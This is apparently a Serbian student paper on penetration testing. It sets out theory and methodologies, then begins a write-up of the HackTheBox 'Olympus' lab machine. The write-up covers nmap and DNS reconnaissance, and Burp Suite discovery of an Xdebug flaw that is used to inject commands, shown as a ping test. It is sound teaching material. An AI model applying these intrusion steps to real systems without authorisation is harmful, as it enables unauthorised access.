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1. Uvod u sajber bezbednost i penetraciono testiranje

Sa sve vecom upotrebom interneta u svakodnevnom zivotu, bezbednost postaje sve
vazniji faktor o kome se mora voditi racuna. Kako bi se ta bezbednost u poslovnim
okruzenjima §to bolje ispitala, danas postoje odredene vrste testova koje se mogu sprovesti za
odredeni sistem. Testiranje bezbednosti odredenog softvera ili sistema se danas naziva
penetraciono testiranje.

Penetraciono testiranje predstavlja primenu razli¢itih metoda i procedura, u dogovoru
sa kompanijom, kako bi se ispitala trenutna bezbednost softvera ili sistema. Osoba koja vrsi
testiranje, odnosno eti¢ki haker, razbija sistem u potrazi za svim ranjivostima koje se mogu
koristiti za eksploatisanje sistema, dokumentuje ih i obavestava kompaniju po dogovoru, a
zatimona treba da zakrpi pronadene slabosti kako bi osigurala bezbednost njenog poslovanja.

Svakako, bitne stavke svakog etickog hakera bi trebale da pocivaju na osnovama
bezbednosti, odnosno CIA (Confidentiality, Integrity, Availability) modelu.CIA, ili
poverljivost, integritet i dostupnosti, predstavljaju osnovu svakog bezbednog sistema.
Poverljivost se odnosi na pojam privatnosti informacija, kao i na mere koje su preduzete kako
bi se informacije zastitile od neovlas¢enog pristupa. Kompromitovanjem poverljivosti moze
do¢i do krade identiteta, prevare i gubitka novca. Integritet predstavlja metode koje su
preduzete kako bi se informacije zastitile od neovla$¢ene izmene, bez obzira na to da li se te
informacije trenutno prenose preko nekog komunikacionog kanala ili su uskladistene. Drugim
reCima, integritet informacije znaci da ¢e se ona bezbedno preneti od posiljaoca do primaoca,
bez bilo kakvih izmena u toku prenosa. Dostupnost odredenog sistema oznacava da ¢e on biti
dostupan korisnicima u svakom trenutku. Danas postoji poznat napad pod nazivom DOS
(denial of service), koji napada upravo ovaj segment sistema i predstavlja jako veliki problem.

Information
Security

Confidentiality

Slika 1: Osnovni pojmovi informacione bezbedosti
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1.1 Osnovna terminologija i pojam hakera

Haker, u zavisnosti od cilja njegovog napada, se danas moze podeliti u tri grupe:

o White hat haker —Cesto oslovljavani i kao profesionalci u informacionoj
bezbednosti. Ove hakere firme zaposljavaju kako bi izvrs$ili penetraciono testiranje i
nasli ranjivosti.

. Black hat haker — poznati i kao krakeri (crakcer), vrSe neovlaséene
upade u sistem zbog svoje koristi, i nanose veliku Stetu napadnutom sistemu.
o Gray hat haker — ovi hakeri su izmedu white had i blackhat hakera.

Najbolje je to objasniti na primeru, ova vrsta hakera ¢e raditi bezbednosnu proveru
za firmu ali ¢e ostaviti backdoor u sistemu ili ¢ak prodavati osetljive informacije
koje je saznao u toku testiranja.

U zavisnosti od nivoa znanja i vestina, hakeri se takode mogu podeliti u ¢etiri grupe:

. Scriptkiddie — poznatiji i kao skid, je haker kome nedostaje znanja o
tome kako odredeni eksploit funkcioniSe i oslanja se na tude kodove.
o Elite haker — je haker koji poseduje duboko znanje i razumevanje o

kompjuterskim sistemima i samom procesu hakovanja i eksploit-a. Sposoban
je sam da kreira modove i modifikuje kod u toku napada.

o Haktivisti — hakuju sistem zbog odredenog uzroka ili svrhe, kao $to
mogu biti odredeni politicki interes, ljudska prava ili sloboda govora

o Eticki haker — osoba koju firma angazuje da napada sistem kako bi
identifikovao ranjivosti sistema koje bi potencijalni napada¢i mogli da
iskoriste.

Bitna stvar koja razlikuje hakera od eti¢kog hakera je dozvola koju eticki hakeri
dobijaju od vlasnika sistema za napad na sistem.

Osnovna terminologija u penetracionom testiranju, koja se koristi u svakodnevnom
radu, je navedena 1 objaSnjena ispod.

o Asset — predstavlja bilo koji podatak, uredaj ili drugu komponentu koja
moze sadrzati informacije koji treba da budu zaSti¢ene od bilo koga drugog osim
ljudi koji imaju ovlas€eni pristup tim informacijama

o Vulnerability — predstavlja gresku ili slabost unutar asset-a koja se
moze iskoristiti za dobijanje neovlaS¢enog pristupa. Ukoliko se uspesno
kompromituje ranjivost, moze do¢i do manipulacije sistema od strane neovlas¢enih
korisnika.

o Threat — predstavlja potencijalnu opasnost za kompjuterski sistem.
Oznacava neSto Sto organizacija nikako ne zeli da se dogodi.Primer je uspeSna
eksploatacija ranjivosti, koja predstavlja opasnost (threat) za tu organizaciju.

° Exploit — je bilo koji softverski alat, deo nekog koda ili niz komandi
koje iskoriS¢avaju neki bag ili ranjivost sistema, koja ¢e napadacu dati neovlascéeni
pristup.



1.2 Metode penetracionog testiranja

Prilikom svakog penetracionog testiranja i izvestavanja rezultata istog, izbor
metodologije je najvazniji korak. Postoji nekoliko razli¢itih metodologija u penetracionom
testiranju, po kojima se dalje moZe voditi postupak testiranja. Neki od tih metoda su
OSSTMM (Open-Source Security Testing Methodology Manual), NIST i OWASP (Open
Web Application Security Project).

OSSTMM obuhvata skoro sve korake u testiranju. To je metodologija koja proverava i
testira fizicku bezbednost, beZicnu zastitu mreZe, obrazovanje osoblja o bezbednosti sistema 1
slicno. Mada, OSSTMM se pre moze smatrati referencom za ISO 27001 standard nego kao
vodi¢ za penetraciono testiranje.
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Slika 2: Graficki prikaz OSSTMM metode penetracionog testiranja

NIST je metodologija koja je sveobuhvatnija od OSSTMM-a i zapravo se moze
primeni u svakodnevnom testiranju. U ovoj metodologiji se podrazumevaju slede¢i koraci:
planiranje, otkrivanje slabosti, napad i izveStavanje. Testiranje pocinje sa planiranjem, zatim
sledi faza otkrivanja slabosti koja se moze podeliti na dva dela, a to su prvi deo koji obuhvata
mrezno skeniranje, otkrivanje operativhog sistema i drugi deo koji obuhvata procenu
ranjivosti. Nakon otkrivanja slabosti, sledi faza napada, koja ujedno predstavlja sustinu



svakog penetracionog testiranja, i izveStavanje koje se vrs$i na kraju sa svim pronadenim
slabostima i predlozima dalje zastite sistema.
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Slika 3: Graficki prikaz NIST metode penetracionog testiranja

OWASP se, za razliku od prethodno pomenutih metodologija, fokusira na
testiranje bezbednosti veb aplikacija. Ova metodologija je sveobuhvatna i osmisljena je od
strane najboljih istrazivaca iz oblasti bezbednosti veb aplikacija.
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Slika 4: Graficki prikaz OWASP metode penetracionog testiranja
Pristup koji ¢e se koristiti za pen testiranje takode moze varirati izmedu slede¢ih:

1. Eksterno testiranje koji ciljaju podatke koji su dostupni svima na internetu

2. Interno testiranje koje dozvoljava testerima pristup aplikaciji sa unutrasnje strane,
Sto im olakSava pristup jer ne moraju da zaobilaze postojece bezbednosne
zidove(firewall). Ovakva vrsta testiranja se koristi kako bi se simulirao napad od
potencijalnog insajdera.

3. Slepo testiranje (blind testing) je vrsta testiranja u kojoj tester zna samo naziv mete
za koju treba da se obavi penetraciono testiranje

4. Duplo slepo testiranje (dobule blind testing) predstavlja vrstu testiranja u kojoj
osoblje firme koje je zaduzeno za sajber bezbednost nema informacije da ¢e se
simulirani napad dogoditi. To obi¢no znaci da su menadzeri organizacije unajmili



eksternog testera koji treba da simulira napad, bez znanja i pristanka tima za
bezbednost organizacije.

5. Ciljano testiranje u kome i tester i tim za sajber bezbednost znaju da se napad
sprovodi, i rade zajedno kako bi tim za bezbednost organizacije imao informacije u
realnom vremenu sa perspektive potencijalnog napadaca

1.3 Kategorije penetracionog testiranja

Nakon definisanja opsega testiranja, treba da se odlu¢i domen u kome ¢e se
penetraciono testiranje izvrSavati. Tipovi domena, odnosno kategorije, kojima se moze
pristupiti pen testiranju su crna kutija, bela kutija i siva kutija.

e Crna kutija predstavlja nacin testiranja gde testeru nije poznata gotovo ni jedna
informacija o sistemu, odnosno meti, koju testira. To znaci da u slu¢aju mreznog pen
testiranja, testeru ¢e jedino IP adrese mete biti poznate, dok u slucaju testiranja veb
aplikacija, jedina moguénost je eksterno testiranje, bez bilo kakvog pristupa source
koda.

e Bela kutija je potpuna suprotnost od crne kutije. Testiranje ovom metodom, testeru
je potrebno obezbediti sve informacije o sistemu koji treba da testira. Dakle, tester
na uvid dobija i source kod veb aplikacije, i sve informacije o operativnom sistemu,
opsegu mreze, pokrenutim aplikacijama, itd. Testiranje ovom metodom se uglavnom
radi isklju¢ivo u internim pen testiranjima, jer se Cesto radi sa jako osetljivim
informacijama i organizacije ne Zele da dode do bilo kakvog curenja informacija.

e Siva kutija predstavlja nacin testiranja gde su odredene informacije poznate testeru
ali neke su i skrivene. U slucaju mreznog testiranja, organizacija moZze pruZiti
informacije o pokrenutim aplikacijama 1 opsegu mreZe, ali ne 1 o operativnom
sistemu, dok u slucaju veb aplikacije moguce informacije koje tester dobija su baze
podataka i nalozi.

1.4 Tipovi penetracionog testiranja

Postoji viSe vrsta tipova samog penetracionog testiranja, ali u ovom radu ¢e se
pomenuti samo tipovi koji se naj¢esce srecu u praksi, 1 to su:

1. Mrezno testiranje —mrezno pen testirane se bazira na testiranje mreznog
okruzenja od potencijalnih bezbednosnih rizika i slabosti. Ovo testiranje se
moze podeliti u dve grupe, a to su spoljasnje(eksterno) i unutrasnje(interno)
testiranje. Kod eksternog testiranja se ukljucuje testiranje javnih IP adresa, dok
se kod internog testiranja postaje ¢lan interne mreze pa se sa tog glediSta mreza
i testira.Nacin na koji se mreZi pristupa mogu biti preko VPN kanala ili fizicki
pristup mreznom okruzenju, u zavisnosti od potpisanog ugovora sa testerom.

2. Testiranje Veb aplikacija — testiranje veb aplikacija je danas prili¢no Cesta
pojava zbog toga Sto se preko bezbednosnih slabosti veb aplikacija moze



pristupiti osetljivim podacima, kao §to su brojevi kreditnih kartica, korisnicka
imena i lozinke.

3. Testiranje mobilnih aplikacija — testiranje bezbednosti mobilnih aplikacija je
najnoviji tip penetracionog testiranja koji se jako brzo razvija narocito zbog
samog porasta u upotrebi mobilnih uredaja. Mnoge organizacije danas se
odlucuju da svoje usluge pruze prvenstveno preko mobilnih aplikacija.

4. Socijalni inzenjering — bezbednosno testiranje primenom socijalnog
inzinjeringa se Cesto koristi u kombinaciji sa drugim nacinima testiranja.
Primenom socijalnog inZenjeringa se vrsi napad na samog korisnika primenom
razli¢itih tehnika manipulacije kako bi se korisnici naveli da rade stvari koje
inace nisu nameravali da urade. U ovu grupu napada spadaju i phishing napadi,
koji slanjem laznih mejlova (mail) manipuliSu korisnicima i pokuSavaju da ih
navedu da Kkliknu na maliciozne linkove ili priloge poslate u samom tom
mejlu(mail).

5. Fizicko testiranje probojnosti — fizicko testiranje probojnosti se retko
praktikuje. U ovom nacdinu pen testiranja se testira fizi¢ki pristup zgradi
organizacije koja se testira i testiranje fizickih bezbednosnih kontrola kao Sto
su brave i RFID mehanizmi.

2. Strategije i vrste etickog hakovanja

Pen testiranje predstavlja sveobuhvatnu metodu koja testira kompletne, integrisane,
operativne i pouzdane racunarske baze u koje spadaju i hardver, softver i ljudi. Glavni cilj pen
testiranja je da proveri rad sistema u realnom vremenu i pronade potencijalne bezbednosne
ranjivosti koje bi maliciozni korisnici mogli da zloupotrebe, 1 da predloZi reSenja za date
slabosti kako bi se celokupna bezbednost sistema unapredila.

Postoji dosta razli€itih definicija pen testiranja, ali opSte objasnjenje bi bilo da je to
simulirani sajber napad na dati sistem u cilju provere bezbednosnih slabosti koje se mogu
eksploatisati. Neke od najboljih kompanija koje pruzaju usluge pen testiranja danas su
Security Assessment, Security Audit Systems i Hacklabs.

2.1 Faze penetracionog testiranja

Proces pen testinga koji se sprovodi je izuzetno kompleksan, stoga se on deli na
najmanje pet osnovnih faza. Faze pen testiranja su:

1. Izvidanje — predstavlja prvi korak u pen testiranju, gde tester mora da prikupi
osnovne informacije ciljanog sistema. U te osnovne informacije spadaju domen
veb servera, informacije o postoje¢im pod-domenima koji su povezani sa glavnim
domenom, postojanje zastitnih zidova (firewall), opseg iskoriséenih IP adresa i
sli¢cno. U ovoj fazi je jako bitno prikupiti $to viSe informacija jer se te informacije
u kasnijim fazama mogu eksploatisati.

2. Skeniranje — skeniranje sistema predstavlja upotrebu alata kako bi se prikupilo jos$
viSe relevantnih informacija o sistemu koji se napada. Produbljivanje znanja o
sistemu putem skeniranja 1 alata za skeniranje se sastoji od informacija kao $to su
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tipovi servisa koji se pokrecu na serveru i njihova verzija. Neke dodatne
informacije u fazi skeniranja mogu biti i identifikacija portova koji se Kkoriste i
verzije operativnog sistema.

3. Ostvarivanje pristupa/ otkrivanje slabosti —u tre¢oj fazi testiranja koriste se sve do
sada prikupljene informacije kako bi se ostvario neovlaséen pristup sistemu u cilju
otkrivanja slabosti. Na taj nacin testeri mogu otkriti gde dati sistem ima
bezbednosne propuste koji se mogu eksploatisati od strane malicioznog hakera, i
pomoci organizaciji da ,,zakrpi* nadene slabosti.

4. Odrzavanje pristupa/ eksploatacija — nakon uspes$nog pristupa sistemu, cilj testera
jeste da pronade sve vrste i1 tipove bezbednosti koji su implementirani 1 da ih
razbije u cilju ostvarivanja udaljenog pristupa. Ukoliko je ugovorom dozvoljeno,
tester moze implementirati razliite alate za odrzavanje pristupa na sistemu u cilju
testiranja. Ovaj termin se naziva backdoor sistema, i obi¢no ga sprovode hakeri
kada Zele da odrze pristup na razbijenom sistemu.

5. Pisanje izvestaja — nakon zavrSenog procesa testiranja, tester je u obavezi da
generiSe izvesStaj koji ¢e sadrzati sve informacije kojima je uspeo da pristupi, sve
bezbednosne slabosti koje je pronasao. Nakon izvestavanja o slabostima moze se
dati predlog za poboljSanje bezbednosti organizacije, ali to nije uvek slucaj jer
neke firme smatraju da je dodatno ulaganje u bezbednost nepotrebni trosak.

Faza 1: lzvidanje

Faza 2: Skeniranje

Faza 3: Ostvarivanje pristupa

Faza 4: Odriavanje pristupa

Faza 5: Pisanje izveitaja

Slika 5: Faze pen testiranja

Pisanje izvestaja smatra se jako bitnom fazom, posebno s aspekta organizacije za koju
se rade testovi. Stoga se dobar izvestaj mora pridrzavati nekih odrednica kao $to su:

e Izgled pocetne strane — na njoj se nalaze detalji kao $to je logotip kompanije,
naslov, i kratak opis penetracionog testa.

e Sadrzaj izvestaja — bi trebao da se nalazi na stranici posle pocetne strane, kako
bi omogucio ¢itaocu uvid u sve delove izvestaja.

e Rezime izveStaja — namenjen je menadzmentu, kao S$to su CEO ili CIO
kompanije. Rezime je najbitniji deo izvestaja za pen testiranje, i jako je bitno
da je napisan jasno i razumljivo.

e Izvestaj o remedijaciji — sadrzi opSte preporuke sa kojima bi se povecala
bezbednost organizacije. Za ovaj deo izveStaja je bitno da bude precizno
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2.2

napisan, kako bi se $to jasnije stavilo do znanja na ¢emu treba obratiti paznju
pri poboljsavanju bezbednosti.

e Kratak izvestaj procene ranjivosti — ili drugacije poznat kao rezime, predstavlja
nalaze pen testova. Prikazuje se opste stanje, dobre i loSe strane u bezbednosti
sistema, sa napomenama na potencijalne rizike. U ovom delu izvestaja je
preporucljivo koristiti 1 graficke prikaze.

e Tabelarni prikaz — predstavlja sazeti izvestaj, koji u najkrac¢im crtama opisuje i
prikazuje nivo rizika za datu organizaciju, i moze biti visok, umeren ili nizak.

Koristi etickog hakovanja

Zbog sve vecée upotrebe interneta u stvarima koje se svakodnevno koriste, bezbednost

stvari koje
kompanije

dolaze u dodir sa internetom se mora staviti u pitanje. Jako je bitno da firme,
1 organizacije imaju svest o vaznosti sajber bezbednosti i rizik koji moze nositi

manjak iste. Takode je jako bitno da tim za IT bezbednost redovno prati novine i unapreduje
interni softver na najnovije verzije kako bi smanjio rizik od napada.

Koristi etickog hakovanja mogu biti razna, i opisuju zbog ¢ega bi neka kompanija
trebala da odvoji resurse za svoju sajber bezbednost. Takve koristi mogu biti:

1.

Otkrivanje bezbednosnih rizika — cilj bezbednosnog testiranja jeste da proceni
sposobnost organizacije da odbrani svoju mrezu, ili aplikacije kako od unutra$njih
tako 1 od spoljasnjih napadaca, koji pokuSavaju da ostvare privilegovani ili
neodobren pristup zaSti¢enim sredstvima. Uz pomoc¢ pen testiranja moze se doci
do konkretnih rezultata u koliko postoji bezbednosna slabost, sigurnosni propust ili
postojanje neispravnih procesa, i time se omogué¢i dalji rad na poboljSanju
bezbednosti te kompanije. Organizacije mogu efikasnije uvideti nagle upade ili
pokuSaje napada na sistem 1 izbe¢i ih =zahvaljuju¢i redovno 1 postupno
sprovedenim testovima probojnosti.

Spoznavanje potrebe za nadgledanjem sistema — odeljenje za IT se bavi
sveukupnim aspektima revizije (auditing) procedura kao S§to su HIPAA,
SARBANES — OXLEY, i GLBA, a potrebe za testiranjem izvesStaja su prepoznate
od strane NIST-a. Kompletni izvestaji pen testiranja mogu pomo¢i organizacijama
da izbegnu znacajne kazne za neuskladenost podataka i1 bezbednosti istih.
Omoguc¢ava manje prekide u radu mreze organizacije — oporavak od bezbednosne
greske, u kojoj pri tome 1 mrezakompanije padne, moze biti jako skup proces. On
moze ukljucivati napore tima za IT, programe za zadrZavanje i zaStitu podataka,
zastita korisnika, smanjene prihode, smanjenje broja zaposlenih 1 loSiju reputaciju
kod saradnika 1 partnera organizacije. Eticko hakovanje moZe pomoc¢i organizaciji
da izbegne ove finansijske rashode i poteskoce tako $to ¢e aktivno pratiti i otkrivati
bezbednosne slabosti i reSavace bezbednosne pretnje pre nego Sto dode do napada
na osetljive podatke koji mogu ugroziti firmu.

Ocuvanje poverenja klijenata i ugleda organizacije — ako se desi slucaj gde je ¢ak i
jedan podatak o klijentu kompromitovan, moze do¢i do mnogo negativnih
aspekata za organizaciju ¢iji su podaci kompromitovani. Pen testiranje pomaze
organizaciji da izbegne ovakve 1 slicne incidente koji mogu dovesti u pitanje
njihovu reputaciju i pouzdanost poslovanja kod klijenata.
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5. Bezbednosni proboji i kompromitovanje usluga mogu biti skupi — bezbednosne
greske kao 1 svi drugi prekidi u radu organizacije mogu prouzrokovati velike
finansijske gubitke, oStetiti reputaciju organizacije, smanjiti poverenje klijenata i
cak izazvati neocekivane kazne. Firme koje imaju dobru organizaciju i brinu o
svojoj bezbednosti i zaposljavaju timove koji ¢e se baviti istim mogu smanjiti
troSak i negativne aspekte prekida rada. Uvek je isplativije za firmu da odrzava
svoju bezbednost nego da se posle nosi sa posledicama i ekstremnim gubicima u
koliko se o tome nije vodilo racuna.Pen testiranje treba da se vrsi svaki put kada
dode do promene u mreznoj infrastrukturi od stru¢nog tima koji moze da analizira
sisteme koji su povezani sa internetom u cilju prevencije bilo kakvog napada na
bezbednosne slabosti kojima se mogu kompromitovati poverljivost, dostupnost ili
integritet mreze.

3. Primena metoda etickog hakovanja na Olympus Box

Olympus je veb server koji sluzi za penetraciono testiranje, i napravljen je tako da u

sebi sadrzi odredene vrste bezbednosnih propusta. Cilj hakovanja ovog veb servera je da se
iskoriste razli¢iti pen testing alati kako bi se ostvarilo neautorizovan pristup samoj Kutiji,
njenim korisnicima i Siframa.

U ovoj kutiji nadeni su sledeci propusti:

Losa konfiguracija xdebug-a

Moguc¢nost provaljivanja WiFi-a, u ovom slu¢aju konkretno bezbednosni propust je u
tome sto je koris¢en WPA

Nema zastitu odbruteforce napada na korisnicka imena

Takode nakon otkrivanja Domain Name-a kutije moguce je odraditi i DNS Zone
Transfer Exploit

Koriséen je i metod Port Knocking kako bi se otklju¢ao SSH

Postupak hakovanja ove kutije sa navedenim propustima je detaljno opisan u nastavku.

3.1 Pocetak prve faze penetracionog testiranja — izvidanje

Pocetakfaze izvidanja se obavlja sa alatom nmap. Nmap, ili puno ime Network

mapper, je besplatan i open source alat koji se moze koristi za inicijalna skeniranja sistema ili
mreza. Ovaj alat se uglavnom koristi u prvim fazama penetracionog testiranja, narocito zbog
usluga koje pruza i pogodan je za skeniranje kako malih tako i velikih mreznih
infrastruktura.Najbolje i najkorisnije usluge kojima raspolaze alat Nmap su:

Dobijanje opste slike 0 mrezi ciljane mete

Mogu¢énost otkrivanja host-ova koji se nalaze na datoj mrezi
Otkrivanje operativnih sistema koji se koriste

Otkrivanje aktivnih portova
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Na slici 6 prikazana je upotreba alata nmap u Kali Linux-u sa konkretnom adresom
Olympus kutije koja je 10.10.10.83. Oznaka —sC znaci da ¢e nmap skenirati datu IP adresu
koristec¢i uobicajen set skripti (Default set of Scripts). Dodavanje —sV oznake dopustaNmap
alatu da detektuje verziju aplikacije ili servisa. Oznakom —0A dajemo do znanja nmap-u da
izlazne podatke zelimo da saCuvamo u svim formatima, nakon ¢ega sledi nmap/olympus kako
je nazvana datoteka u kojoj zelimo da te podatke i saCuvamo.

root@htd: -/Mtb/boxes/olympus

# nmap -sC -sV -oA nmap/olympus 10.16.10.83]

Slika 6: Prikaz primene nmap alata za adresu 10.10.10.83

Sa slike 7, na kojoj je prikazan rezultat nmap alata, moze se uoditi par stvari. Prva
stvar na koju treba da se obrati paznja je da je port 22 filtriran, port 22 oznacava da se radi o
SSH portu, ili Secure Shell, a filtriran saobracaj znaci da i ako smo adresi 10.10.10.83 poslali
zahtev za komunikaciju na portu 22 server ¢e ignorisati taj zahtev. Ako je port filtriran to
znaci da ili firewall ili neka druga mreZna barijera blokira port, i ne moze se znati da li je taj
port otvoren ili zatvoren jer su paketi jednostavno odbaceni bez notifikacije posiljaocu
zahteva o stanju tog porta.

root@htb: ~/htb/boxes/olympus
File Edit View Search Terminal Help

# Nmap 7.70 scan initiated Sun Sep 16 13:13:14 2018 as: nmap -sC -sV -oA olympus 10.10.16.83
Nmap scan report for 10.10.160.83

Host is up (0.026s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

22/tcp  filtered ssh

53/tcp  open domain (unknown banner: Bind)

| dns-nsid:

|_ bind.version: Bind

| fingerprint-strings

|  DNSVersionBindReqTCP:
| version
[
|

bind
Bind
80/tcp  open http Apache httpd
| _http-server-header: Apache
| _http-title: Crete island - Olympus HTB
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings
| NULL:
SSH-2.0-City of olympia
ssh-hostkey:
2048 f2:ba:db:06:95:00:ec:05:8 :fd:9e:00 (RSA)
256 79:90:¢0:3d:43:6¢:8d:72 14:bb (ECDSA)
256 f8:5b:2e:32:95:03:12:a3:3b:40: 27:ca:71:52 (ED25519)
services unrecognized despite return ta. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?
servic
=NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==
ort53-TCP:V=7.70%1=7%D=9/16%Time=5B9E8F38%P=x86 64-pc-linu:

g @ R EOE N B

\x02\0\x03\0\0\0\0\0\x02\xc0\x0c") ;
=NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==:
7%D=9/16%Time=5B9EBF33%P=x86_64-pc-linux

|

|

|

[

|

2

n

S o
SF:ersionBindReqTCP, 3F, "\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\
S

S

S

SF:LL,29, .0- 200f\x2001ympia\x20\x20\x26\x20\x20\x20\x2
SF:20\x20\x20\x20\x20\x20\x20\x20\r\n") ;

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

nmap/olympus . nmap|

Slika 7: Rezultati nmap skeniranja IP adrese 10.10.10.83

Sledeca vazna stvar koja se moze uociti iz rezultata nmap-a jeste da je DNS otvoren na
53 TCP portu. DNS obi¢no koristi UDP protokol, tako da se iz ovoga moze pretpostaviti
postojanje Zone Transfer-a. Zone transfer je mehanizam dostupan za administratore kako bi
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napravili replike DNS baze podataka. Zone transfer koristi TCP protokol zbog ¢ega je i bitan
podatak da je DNS port 53 otvoren na TCP protokolu.

Pored toga, na listingu su prikazani i otvoren port 80 koji osluskuje Apache, bez
dodatnih informacija o operativnom sistemu servera, kao i otvoren port 2222 koji je
konfigurisan kao SSH i sadrzi unikatnibaner: “City of olympia“.

3.1.1. Izvidanje DNS Servera

Prvi alat koji je koris¢en za izvidanje DNS servera je nslookup. Nslookup se koristi u
slucajevima kada pokuSavamo da upitima otkrijemo $ta je domain name ili ako Zelimo da
mapiramo IP adrese. Nslookup je skra¢enica za “name server lookup”.

Domain name je prva stvar do koje pokusavamo da dodemo, zbog pretpostavke iz
nmap-a, da je DNS zone transfered. Kako bismo uspeli DNS zone transfer da eksploatisemo,
potreban nam je domain name.

root@htb: ~/htb/boxes/olympus

File Edit View Search Terminal Help
:~/hth/boxes/olympus# nmap -sC -sV -oA nmap/olympus 10.10.10.83"C
:~/htbh/boxes/olympus# less nmap/olympus.nmap
:~/hth/boxes/olympus# nslookup

> server 10.10.10.83

Default server: 10.10.10.83

Address: 10.10.10.83#53

> olympus.htb

:~/hth/boxes/olympus# nslookup
> server 10.10.10.83
Default server: 10.10.10.83
Address: 10.10.10.83#53

** server can't find 1.0.0.127.in-addr.arpa: NXDOMAIN
> 10.10.10.83
** server can't find 83.10.10.10.in-addr.arpa: NXDOMAIN

:~/htb/boxes/olympus# mkdir dns
:~/htb/boxes/olympus# cd dns
:~/hth/boxes/olympus/dns# 1s
:~/hth/boxes/olympus/dns# vi dnsenum.sh

Slika 8: Prikaz nslookup alata

U prvom primeru na slici 8 olympus.htb je nagadanje domain name-a koje je
bezuspesno, zatim adresa 127.0.0.1 koja je testirana je loopback IP adresa poznatija kao
“localhost”, takode bez rezultata.

Kako bismo uspeli da izvu¢emo domain name moramo napraviti dnsrecon skriptu koja
¢e se pokretati u pozadini. Generalno je uvek dobra praksa imati neke skripte pokrenute u
pozadini za korak izvidanja, najpre zbog vremena koje se moze ustedeti sa skriptama koje
prikupljaju informacije u pozadini. Ova dnsenum.sh skripta ¢e izlistati sve RFC1918 adrese,
odnosno loopback adrese, i poslace puno DNS zahteva ka serveru. Ukoliko postoji server koji
je konfigurisan za reverse lookup za bilo koju od RFC1918 adresa ova skripta ¢e pronaci to i
izvuc¢i hostname koji je potreban za dalji rad.
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File Edit View Search Terminal Help

olympus.db
olympus.db
olympus.db

Slika 9: DNSRecon skripta

Komande u datoj skripti, slika 9, su vrlo jednostavne, -n oznatava name server
odnosno domain server koji se Koristi za dnsrecon, i -r oznacava IP range za reverse
lookupbrute force.Nakon zavrSene pretrage, skripta dnsenum.sh nije naSla nista vredno
paznje.

3.1.2 Izvidanje veb stranice

U ovom koraku se pocinje sa izvidanjem, enumarating, Apache veb servera. Dakle
izvida se konkretna stranica datog Olympus veb servera na adresi 10.10.10.83. Za pocetak,
Inspect elemet nam u ovom slucaju nije prikazalo nista vredno paznje.

Crete island - Olympus HTB - Mozilla Firefox e e
) Crete island - Olympu... x | +

»[10.10.10.83 - *B8 ¥ AU =

Most Visitedv [fOffensive Security “\ Kali Linux “\ Kall Docs \ Kall Tools = Exploit-DB WAircrack-ng fKali Forums \ NetHunter "\ Kali Training @ Getting Started

Slika 10: Prikaz Olympus veb stranice

Sledec¢a stvar sa kojom mozemo da ispitujemo samu web stranicu je slika, §to je i
ujedno jedina stvar koja se moze videti na datoj stranici, kao §to je prikazano na slici 10.
Preko alata po imenu exiftool, prikazan na slici 11, mozemo videti kada je slika napravljena,
pored ostalih metapodataka slike. To nam moze ukazati na okvirno vreme kada je sam veb
server napravljen i sa takvom informacijom mozemo pretraziti bezbednosne propuste koji su
za to vreme specifi¢ni. U ovom slu¢aju veb server je relativno nov tako da ta informacija nije
bila od prevelike koristi. Sto se ti¢e alata exiftool, on je besplatan i open sourceprogram koji
se koristi u svrhe pregleda ili manipulisanja slika, audio, video ili pdf metapodataka.
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wget http://10.10.10.83/zeus.jpg
zeus.jpg

zeus. jpg 00° = == --.-KB/s in 0.82s

2018-09-16 17:25:18 (1.53 MB/s) - ‘zeus.jpg’ sa

on Date/Time

e/Time

ge Date/Time
ions

tension

Slika 11: Prikaz rezultata exiftool alata na zeus.jpg slici

3.2 Skeniranje veb stranice uz pomo¢ alata BurpSuit

Jako koris¢en metod izvidanja veb stranicase sprovodi preko alata BurpSuite, $to je i
za ovu konkretnu veb stranicu dalo dobre rezultate, odnosno naden je Xdebug i moze se videti
na slici 12. Prvo treba objasniti §ta je alat BurpSuite. BurpSuite je platforma za bezbednosna
testiranja veb aplikacija. To je platforma koja podrzava celokupan proces testiranja, pocevsi
od inicijalnog mapiranja i analiza aplikacije, do pronalazenja i iskori§¢avanja nadenih
bezbednosnih propusta.

Xdebug je ekstenzija za PHP koja pomaze programerima sa debagovanjem same veb
aplikacije ili veb stranice. Analizom dobijenih rezultata iz BurpSuita-a uo¢ava se primena
Xdebug ekstenzija sa naznaCenom verzijom 2.5.5. U ovom radu Xdebug ¢e se eksploatisati
pomoc¢u Chrome web browser-a jer Chrome poseduje Xdebug aplikaciju, ali sada postoji i
metasploit modul sa kojim se uspesno moze eksploatisati.
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Burp Suite Professional v1.7.37 - Temporary Project - Licensed to ippsec [single user license] @0
Burp Intruder Repeater Window Hell

Target [ spide ntruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

fwl - |

Go Target: http://10.10.10.83 | #|

[ Raw | Headers | Hex
Hos 03

rv:52.0) Gecko/20100101 Firefox/s2.0
cation/xml;q=0.9,*/*;q=0.8

Upgrade-Insecure-Requests: 1

.
v
<||[+]|= 0 matches <|[+]|[= 0 matches

Done 599 bytes | 22 millis

Slika 12: Zahtev i odgovor servera uhvacéen alatom BurpSuite

Nakon instalirane aplikacije, kako bi Xdebug radio, moramo napraviti i poslati http
zahtev preko BurpSuita. Taj http zahtev nije vratio nikakav povratni odgovor u BuipSuite
alatu ali kada otvorimo aplikaciju Xdebug mozemo videti ali i promeniti celu skriptu. To je
testirano tako $to je break point stavljen na poslednju echo komandu skripte, koja je nakon
toga izmenjena da prikazuje tekst koji smo mi uneli. Nakon pokretanja Xdebug programa opet
posle izmena, odgovor od poslatog http zahteva u BurpSuit alatu je sada vidljiv sa sve
izmenama koje su napravljene preko Xdebuger aplikacije. Sledeca stvar koja se testira u
skripti je izvrSavanje neke komande koja je maliciozno dodata preko Xdebuga. To je testirano
tako sto je ubacena komanda za ping ka adresi kali linux-a koji napada kutiju. Preko tcpdump
paketsniffer-a, prikazano na slici 13, je utvrdeno da je ping prosao, i time se dolazi do
zakljucka da mozemo da imamo privilegije da izvr§avamo funkcije u datoj Olympus Kkutiji.

:~/hth/boxes/olympus# tcpdump -1 tun® icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
